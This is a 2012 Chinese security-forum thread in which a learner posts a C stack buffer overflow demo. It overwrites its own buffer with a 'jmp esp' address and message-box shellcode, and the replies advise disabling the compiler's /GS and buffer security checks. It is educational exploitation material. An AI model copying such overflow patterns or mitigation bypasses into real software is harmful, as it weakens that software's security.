首页
社区
课程
招聘
shellcode出错,执行不了,求救。。。
发表于: 2012-4-9 18:06 3173

shellcode出错,执行不了,求救。。。

2012-4-9 18:06
3173
下面是代码:

#include <stdio.h>
#include <string.h>
char str[]="\x41\x41\x41\x41"  // str[0]-str[3]
           "\x41\x41\x41\x41"  // str[4]-str[7]
           "\x41\x41\x41\x41"  // ebp
           "\x12\x45\xfa\x7f" //  jmp esp 

			"\x33\xDB\x53\x68\x66\x69\x73\x68\x68\x6B\x6F\x6F\x6B\x8B\xC4\x53\x50" //弹消息框代码
			"\x50\x53\xB8\x8A\x05\xD5\x77\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";


void main()
{

	int i=0;
	char buffer[8];
	strcpy(buffer,str);
    for(i=0;i<8&&buffer[i];i++)
		printf("\\0x%x",buffer[i]);
}


运行后提示:



大牛给看下,为什么不行呢?

能给出一个简单的Demo最好了,或者给我修改下。。。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (5)
雪    币: 297
活跃值: (325)
能力值: ( LV4,RANK:55 )
在线值:
发帖
回帖
粉丝
2
图挂了,shellcode没错的话可能是编译器设置问题
2012-4-9 18:17
0
雪    币: 285
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
这是图的地址:
8deK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2A6M7r3S2G2N6r3!0K6i4K6u0W2j5X3q4A6k6s2g2Q4x3X3g2U0L8$3#2Q4x3V1k6Q4x3U0g2o6x3#2)9J5y4f1x3&6i4K6t1#2c8o6u0Q4x3U0g2r3y4g2)9J5y4f1t1@1i4K6t1#2c8U0y4Q4x3U0g2o6x3q4)9J5y4f1b7H3i4K6u0r3M7r3W2U0i4K6u0r3K9i4c8W2L8g2)9J5c8X3t1K6y4r3f1&6k6h3x3%4j5e0M7^5y4X3x3&6x3e0N6W2z5e0M7@1k6o6j5&6z5h3x3&6x3$3b7%4x3r3y4X3x3$3q4U0y4K6f1%4j5h3q4Q4x3X3g2B7M7r3M7`.

怎么设置编译器呢,能不能跟偶说下。。。
2012-4-9 18:21
0
雪    币: 297
活跃值: (325)
能力值: ( LV4,RANK:55 )
在线值:
发帖
回帖
粉丝
4
我手机党。。。vc6要关掉gs  vc9要关掉缓冲区安全检查还有一个是rt什么选项来着。。。
2012-4-9 18:32
0
雪    币: 285
活跃值: (55)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
我用 VC++ 6.0

gs是啥?在哪儿
2012-4-9 19:02
0
雪    币: 51
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
哥们玩缓冲区溢出
2012-4-9 21:00
0
游客
登录 | 注册 方可回帖
返回